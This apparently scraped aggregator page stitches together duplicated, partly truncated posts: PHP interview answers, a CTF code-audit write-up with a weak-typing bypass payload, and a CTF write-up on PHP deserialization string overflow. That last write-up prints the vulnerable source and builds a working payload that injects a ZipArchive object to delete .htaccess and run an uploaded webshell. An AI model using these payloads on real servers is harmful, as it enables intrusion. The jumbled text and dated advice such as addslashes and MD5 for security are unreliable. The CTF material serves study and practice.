ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理 查看全部
php截取字符串网站内容 PHP面试100题汇总【21-40题】
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理
【代码审计】PHP代码审计之CTF系列(1)
网站优化 • 优采云 发表了文章 • 0 个评论 • 96 次浏览 • 2022-06-20 01:27
声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
采用github yaofeifly师傅的PHP练习,链接:。每个内容均采用docker。部署过程:进入对应的docker_env,使用
docker-compose builddocker-compose up -d
进入对应docker进程,查看地址访问即可。
challenge 1
访问地址,发现源码
1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
即可得到
补充:
bin2hex() 函数把 ASCII 字符的字符串转换为十六进制值。<br />strrev() 函数反转字符串。<br />hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
challenge 2
题目内容:
得出结果:
补充:
1、当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含’.',’e',’E'并且其数值值在整形的范围之内,该字符串被当作int来取值。其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
2、在进行比较运算时,如果遇到了0e这类字符串,PHP会将它解析为科学计数法。(也就是说只靠最前面的进行判断)
3、在进行比较运算时,如果遇到了0x这类字符串,PHP会将它解析为十六进制。
challenge 3
题目内容:
访问后发现没有什么内容,查看一下源码。
发现存在challenge3.txt文件,尝试访问。
发现源码
<br />
stripos()
stripos()函数:查找字符串在另一字符串中第一次出现的位置(不区分大小写)
strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
stripos()函数返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。字符串位置从 0 开始,不是从 1 开始。
file_get_contents()
file_get_contents()函数:把整个文件读入一个字符串中,加上@是屏蔽对应的错误
PHP中fopen,file_get_contents,curl函数的区别:
1、fopen/file_get_contents 每次请求都会重新做DNS查询,并不对 DNS信息进行缓存。但是CURL会自动对DNS信息进行缓存。对同一域名下的网页或者图片的请求只需要一次DNS查询。这大大减少了DNS查询的次数。所以CURL的性能比fopen /file_get_contents 好很多。
2、fopen /file_get_contents 在请求HTTP时,使用的是http_fopen_wrapper,不会keeplive。而curl却可以。这样在多次请求多个链接时,curl效率会好一些。
3、fopen / file_get_contents 函数会受到php.ini文件中allow_url_open选项配置的影响。如果该配置关闭了,则该函数也就失效了。而curl不受该配置的影响。
4、curl 可以模拟多种请求,例如:POST数据,表单提交等,用户可以按照自己的需求来定制请求。而fopen / file_get_contents只能使用get方式获取数据。
eregi()
eregi()函数:在一个字符串中搜索指定的模式的字符串,搜索不区分大小写。eregi()可以特别有用的检查有效字符串,如密码。
题目
观察完代码后发现为php弱类型绕过。
首先a,进行POST传递。
当data可以通过php://input来接受post数据。
$id传一个字符进去,会被转化为0。
对于b的第一个字符与'111'拼接,和'1114'进行对比)和首字符不为4。
可以设置$b为111111,这样,substr()会发生截断,在匹配时进行eregi('111','1114')满足,同时不会对strlen()造成影响。
构造payload:
?id=a&a=php://input&b=1111111112 is a nice lab!
challenge4
打开后发现源码
<p> 查看全部
【代码审计】PHP代码审计之CTF系列(1)
声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
采用github yaofeifly师傅的PHP练习,链接:。每个内容均采用docker。部署过程:进入对应的docker_env,使用
docker-compose builddocker-compose up -d
进入对应docker进程,查看地址访问即可。
challenge 1
访问地址,发现源码
1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
即可得到
补充:
bin2hex() 函数把 ASCII 字符的字符串转换为十六进制值。<br />strrev() 函数反转字符串。<br />hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
challenge 2
题目内容:
得出结果:
补充:
1、当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含’.',’e',’E'并且其数值值在整形的范围之内,该字符串被当作int来取值。其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
2、在进行比较运算时,如果遇到了0e这类字符串,PHP会将它解析为科学计数法。(也就是说只靠最前面的进行判断)
3、在进行比较运算时,如果遇到了0x这类字符串,PHP会将它解析为十六进制。
challenge 3
题目内容:
访问后发现没有什么内容,查看一下源码。
发现存在challenge3.txt文件,尝试访问。
发现源码
<br />
stripos()
stripos()函数:查找字符串在另一字符串中第一次出现的位置(不区分大小写)
strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
stripos()函数返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。字符串位置从 0 开始,不是从 1 开始。
file_get_contents()
file_get_contents()函数:把整个文件读入一个字符串中,加上@是屏蔽对应的错误
PHP中fopen,file_get_contents,curl函数的区别:
1、fopen/file_get_contents 每次请求都会重新做DNS查询,并不对 DNS信息进行缓存。但是CURL会自动对DNS信息进行缓存。对同一域名下的网页或者图片的请求只需要一次DNS查询。这大大减少了DNS查询的次数。所以CURL的性能比fopen /file_get_contents 好很多。
2、fopen /file_get_contents 在请求HTTP时,使用的是http_fopen_wrapper,不会keeplive。而curl却可以。这样在多次请求多个链接时,curl效率会好一些。
3、fopen / file_get_contents 函数会受到php.ini文件中allow_url_open选项配置的影响。如果该配置关闭了,则该函数也就失效了。而curl不受该配置的影响。
4、curl 可以模拟多种请求,例如:POST数据,表单提交等,用户可以按照自己的需求来定制请求。而fopen / file_get_contents只能使用get方式获取数据。
eregi()
eregi()函数:在一个字符串中搜索指定的模式的字符串,搜索不区分大小写。eregi()可以特别有用的检查有效字符串,如密码。
题目
观察完代码后发现为php弱类型绕过。
首先a,进行POST传递。
当data可以通过php://input来接受post数据。
$id传一个字符进去,会被转化为0。
对于b的第一个字符与'111'拼接,和'1114'进行对比)和首字符不为4。
可以设置$b为111111,这样,substr()会发生截断,在匹配时进行eregi('111','1114')满足,同时不会对strlen()造成影响。
构造payload:
?id=a&a=php://input&b=1111111112 is a nice lab!
challenge4
打开后发现源码
<p>
从一道题看PHP反序列化字符串溢出
网站优化 • 优采云 发表了文章 • 0 个评论 • 100 次浏览 • 2022-06-19 21:32
白帽子社区知识星球
加入星球,共同进步
题目地址:
http://www.bmzclub.cn/challenges#file-vault
01
目录扫描分析代码
这是一道很好反序列化字符串溢出的题目,首先打开容器看到这是一个上传点
先进行目录扫描,发现存在vim的备份文件 index.php~
查看 index.php~ 得到源码如下
?phperror_reporting(0);include('secret.php');$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);global $sandbox_dir;function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}function myunserialize($a, $secret) {if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){return unserialize(substr($a, 0, -64));}}class UploadFile {function upload($fakename, $content) {global $sandbox_dir;$info = pathinfo($fakename);$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);$this->fakename = $fakename;$this->realname = sha1($content).$ext;}function open($fakename, $realname) {global $sandbox_dir;$analysis = "$fakename is in folder $sandbox_dir/$realname.";return $analysis;}}if(!is_dir($sandbox_dir)) {mkdir($sandbox_dir);}if(!is_file($sandbox_dir.'/.htaccess')) {file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");}if(!isset($_GET['action'])) {$_GET['action'] = 'home';}if(!isset($_COOKIE['files'])) {setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);}switch($_GET['action']){case 'home':default:$content = "";$files = myunserialize($_COOKIE['files'], $secret);if($files) {$content .= "";$i = 0;foreach($files as $file) {$content .= "Click to show locations";$i++;}$content .= "";}echo $content;break;case 'upload':if($_SERVER['REQUEST_METHOD'] === "POST") {if(isset($_FILES['file'])) {$uploadfile = new UploadFile;$uploadfile->upload($_FILES['file']['name'],file_get_contents($_FILES['file']['tmp_name']));$files = myunserialize($_COOKIE['files'], $secret);$files[] = $uploadfile;setcookie('files', myserialize($files, $secret));header("Location: index.php?action=home");exit;}}break;case 'changename':if($_SERVER['REQUEST_METHOD'] === "POST") {$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']]) && isset($_POST['newname'])){$files[$_GET['i']]->fakename = $_POST['newname'];}setcookie('files', myserialize($files, $secret));}header("Location: index.php?action=home");exit;case 'open':$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']])){echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename,$files[$_GET['i']]->realname);}exit;case 'reset':setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);array_map('unlink', glob("$sandbox_dir/*"));header("Location: index.php?action=home");exit;}
代码稍微比较多一点,我们一段一段来分析一下,先看第一段
$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);global $sandbox_dir;function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}function myunserialize($a, $secret) {if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){return unserialize(substr($a, 0, -64));}}
$sanbox_dir 即将访问者的IP经过SHA1加密拼接在sanbox后构成单独的路径,例如:sanbox/4b84b15bff6ee5796152495a230e45e3d7e947d9 。myserialize() ,将传入的 $a 序列化,然后进行一个字符串的替换( 这里是形成反序列化字符串溢出的关键点 )得到 $b ,最后返回 SHA256 有未知密钥( $secret )加密后的 $b 作为签名,拼接上 $b 的结果。myunserialize() ,首先截取 $a 的后 64位 部分与 SHA256 加密后的截掉末尾 64位 的$a ,这里就是做一个签名验证,验证序列化字符串加密后是否还是 myserialize() 返回的正确签名,防止攻击者私自修改序列化字符串。最终返回反序列化后得对象。
接着看这段代码
if(!is_dir($sandbox_dir)) {mkdir($sandbox_dir);}if(!is_file($sandbox_dir.'/.htaccess')) {file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");}
当 $sanbox_dir 路径不存在时,创建 $sanbox_dir 。检测在 $sanbox_dir 下是否存在 .htaccess 文件,不存在的话在 $sandbox_dir 下创建 .htaccess ,并写入 php_flag engine off 。该配置作用是禁用当前目录下的PHP解析功能。
action 默认操作为 home ,检查是否设置 Cookie['files'] ,未设置的话设置 Cookie: files ,值为 myserialize($a, $secret) 的返回值, $a 的类型为数组。 $secert 一直都是未知的。
02
继续分析
class UploadFile {function upload($fakename, $content) {global $sandbox_dir;$info = pathinfo($fakename);$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);$this->fakename = $fakename;$this->realname = sha1($content).$ext;}function open($fakename, $realname) {global $sandbox_dir;$analysis = "$fakename is in folder $sandbox_dir/$realname.";return $analysis;}}
UploadFile 类中存在 upload() 和 open() 两个方法,先看 UploadFile::upload() ,将上传的文件写入 $sandbox_dir 下,存储名称为文件内容的 SHA1 加密后的字符,如无后缀即默认 .txt 后缀。没有文件类型限制。$this->fakename 即上传文件的名称, $this->realname 是文件在服务器上存储的名称。UploadFile::open() 即返回指定的 fakename 以及 realname 的存储路径。
接着分析 action 传入不同值的操作
switch($_GET['action']){case 'home':default:$content = "";$files = myunserialize($_COOKIE['files'], $secret);if($files) {$content .= "";$i = 0;foreach($files as $file) {$content .= "Click to show locations";$i++;}$content .= "";}echo $content;break;case 'upload':if($_SERVER['REQUEST_METHOD'] === "POST") {if(isset($_FILES['file'])) {$uploadfile = new UploadFile;$uploadfile->upload($_FILES['file']['name'],file_get_contents($_FILES['file']['tmp_name']));$files = myunserialize($_COOKIE['files'], $secret);$files[] = $uploadfile;setcookie('files', myserialize($files, $secret));header("Location: index.php?action=home");exit;}}break;case 'changename':if($_SERVER['REQUEST_METHOD'] === "POST") {$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']]) && isset($_POST['newname'])){$files[$_GET['i']]->fakename = $_POST['newname'];}setcookie('files', myserialize($files, $secret));}header("Location: index.php?action=home");exit;case 'open':$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']])){echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename,$files[$_GET['i']]->realname);}exit;case 'reset':setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);array_map('unlink', glob("$sandbox_dir/*"));header("Location: index.php?action=home");exit;}
?action=home :
默认执行,提供 ?action=upload 上传操作,反序列化Cookie中的 files 值,将数组的每一个 UploadFile::fakename 取出来回显。提供 ?action=changename 以及 ?action=open 操作。上传一个展示一个。
?action=upload :
POST上传文件,实例化 UploadFile 类, $uploadfile 对象调用 UploadFile::upload() 方法,获取上传的文件名称以及内容传入 upload() 方法。反序列化验证当前Cookie中的序列化字符串,并增加根据新上传文件创建新的对象增加到数组中,并序列化存储Cookie中。
?action=changename :
反序列化Cookie的值获取整个数组的对象,传入参数 i 来指向数组中的具体某个对象,然后传入 newname 重新赋值原来的 UploadFile::fakename 。然后重新序列化存入Cookie。
?action=open :
反序列化Cookie的值获取整个数组的对象,传入参数 i 来指向数组中的具体某个对象,然后传入 UploadFile::fakename 和 UploadFile::realname 并执行 UploadFile::open() 操作。
?action=reset :
清空Cookie中数组的每个对象,并删除 $sandbox_dir 下的所有文件。
03
思路整理
分析完所有的代码,虽然上传文件无限制,但是有 .htaccess 的限制,就算上传了shell也是没有用的。漏洞利用的关键点在
function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}
这里对 序列化之后 的字符串进行了 str_replace() 替换字符操作,将序列化之后的字符串中的 ../ 替换为了 ./ ,也就是说一个 ../ 被替换后会向后被吃掉的一个字符。反序列化字符串溢出的原理这里就不详细介绍了,可自行查阅资料。
很明显我们对上传文件的能控制得只有上传文件的文件名,也就是 fakename ,并且肯定不能直接修改 Cookie 的序列化字符串,有签名验证的。但是通过 ?action=changename 就可以合法的控制 fakename 的值进行反序列化字符串溢出。
随便上传两个文件我们看下Cookie中存储的对象
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic2.png";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png";}}ee685dd0e1596058c4f82035b24426f0193c3f9ec8780645070f3e43d295f718
array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic1.jpg"public $realname =>string(44) "9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg"}[1] =>class __PHP_Incomplete_Class#2 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic2.png"public $realname =>string(44) "a8e9d61b8735df4a808d677b3714425850d4ee3f.png"}}
构造反序列化溢出,我们可以上传两个文件之后,通过重命名第一个文件的 fakename ,可以吃掉第二个文件原来的对象。引入一个新的对象,不过前提是我们需要先精妙的在第二个对象的 fakename 处,构造出一个完整的对象实现漏洞利用并且要承上启下,精妙的构造好前后的序列化字符串。
整个源码就一个类,两个对象,分别是 UploadFile::upload() 、 UploadFile::open() ,而其中 open() 方法挺常见的,如果能找到一个含有 open() 方法的标准类( PHP内置已经定义好的类 ),那么我们就可以利用这个类去利用其中同名方法 open() 的功能。
遍历下所有已定义好的类,看看哪些类中有 open() 方法
PS C:\Users\Administrator\Downloads> php -f .\class.phpcurrent PHP Version: 7.4.3SessionHandler->openZipArchive->openXMLReader->open
其中 ZipArchive->open($fakename, $realname) 方法正好是两个参数
$filename 对应 $fakename ,把 .htaccess 的路径赋给 $filename ,而 $flag 如果设置成 ZipArchive::OVERWRITE ,就可以将改文件覆盖,即删除。
open('./.htaccess',ZipArchive::OVERWRITE);echo $rt;$zip->close();?>
删除了同目录下的 .htaccess
这里 ZipArchive::OVERWRITE 还可以用 9 代替
04
构造payload
接下来开始构造payload
任意上传两个文件后在cookie中取出反序列化字符串
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic2.png";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png";}}ee685dd0e1596058c4f82035b24426f0193c3f9ec8780645070f3e43d295f718
array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic1.jpg"public $realname =>string(44) "9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg"}[1] =>class __PHP_Incomplete_Class#2 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic2.png"public $realname =>string(44) "a8e9d61b8735df4a808d677b3714425850d4ee3f.png"}}
任意查看一个上传的文件
得到 $sandbox_dir ,然后我们构造一个 ZipArchive 类
O:10:"ZipArchive":7:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";}<br />
首先构造第二个 UploadFile 对象的 fakename ,将 fakename 之后的序列化字符串取出来,总共 67 个字符
";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png
我们将 ZipArchive 的序列化字符串其中的对象位置顺序调整一下,将 ZipArchive::comment 的长度调整到 67
O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
这样就可以将第二个 fakename 之后的序列化字符串安置在 comment 中
然后需要将第一个 UploadFile 的对象的 realname 部分放在以上的payload前面
";s:8:"realname";s:6:"mochu7";}
值为什么无所谓,只是为了序列化的完整性,所以得到第二个 fakename 的payload最终为:
";s:8:"realname";s:6:"mochu7";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
注意: 因为是数组的第二个值,注意需要加上 i:1;
05
构造fakename的payload
接下来来分析下第一个 fakename 的payload该怎么构造,这是需要溢出吃掉的部分
";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"
但是注意,因为我们是先重命名在数组中 i=1 的对象的 fakename ,所以当我们重命名完之后数组中第二个对象的 fakename 之后,第一个对象的 fakename 长度要变为第一个payload的字符长度
";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:258:"
以上才是需要溢出吃掉的字符串,长度为 117 ,所以我们需要 117 个 ../
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
最终,第二个对象需要重命名的 fakename
";s:8:"realname";s:6:"mochu7";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
第一个对象需要重命名的 fakename
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
这时候看Cookie的序列化值
array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(351)"./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:258:""public $realname =>string(6) "mochu7"}[1] =>class ZipArchive#2 (7) {public $status =>int(0)public $statusSys =>int(0)public $numFiles =>int(0)public $filename =>string(0) ""public $comment =>string(0) ""public $fakename =>string(58) "sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess"public $realname =>string(1) "9"}}
成功注入了 ZipArchive 对象,然后调用 ZipArchive 对象
/index.php?action=open&i=1
这样就可以删除 sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess 了,回到 index.php 上传 shell.php上传 shell.php 之后再执行一遍上面的删除操作(因为访问 index.php 会再次生成 .htaccess 文件,我们需要上传shell后再删除),然后访问shell
已经可以解析php文件了
如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。 查看全部
从一道题看PHP反序列化字符串溢出
白帽子社区知识星球
加入星球,共同进步
题目地址:
http://www.bmzclub.cn/challenges#file-vault
01
目录扫描分析代码
这是一道很好反序列化字符串溢出的题目,首先打开容器看到这是一个上传点
先进行目录扫描,发现存在vim的备份文件 index.php~
查看 index.php~ 得到源码如下
?phperror_reporting(0);include('secret.php');$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);global $sandbox_dir;function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}function myunserialize($a, $secret) {if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){return unserialize(substr($a, 0, -64));}}class UploadFile {function upload($fakename, $content) {global $sandbox_dir;$info = pathinfo($fakename);$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);$this->fakename = $fakename;$this->realname = sha1($content).$ext;}function open($fakename, $realname) {global $sandbox_dir;$analysis = "$fakename is in folder $sandbox_dir/$realname.";return $analysis;}}if(!is_dir($sandbox_dir)) {mkdir($sandbox_dir);}if(!is_file($sandbox_dir.'/.htaccess')) {file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");}if(!isset($_GET['action'])) {$_GET['action'] = 'home';}if(!isset($_COOKIE['files'])) {setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);}switch($_GET['action']){case 'home':default:$content = "";$files = myunserialize($_COOKIE['files'], $secret);if($files) {$content .= "";$i = 0;foreach($files as $file) {$content .= "Click to show locations";$i++;}$content .= "";}echo $content;break;case 'upload':if($_SERVER['REQUEST_METHOD'] === "POST") {if(isset($_FILES['file'])) {$uploadfile = new UploadFile;$uploadfile->upload($_FILES['file']['name'],file_get_contents($_FILES['file']['tmp_name']));$files = myunserialize($_COOKIE['files'], $secret);$files[] = $uploadfile;setcookie('files', myserialize($files, $secret));header("Location: index.php?action=home");exit;}}break;case 'changename':if($_SERVER['REQUEST_METHOD'] === "POST") {$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']]) && isset($_POST['newname'])){$files[$_GET['i']]->fakename = $_POST['newname'];}setcookie('files', myserialize($files, $secret));}header("Location: index.php?action=home");exit;case 'open':$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']])){echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename,$files[$_GET['i']]->realname);}exit;case 'reset':setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);array_map('unlink', glob("$sandbox_dir/*"));header("Location: index.php?action=home");exit;}
代码稍微比较多一点,我们一段一段来分析一下,先看第一段
$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);global $sandbox_dir;function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}function myunserialize($a, $secret) {if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){return unserialize(substr($a, 0, -64));}}
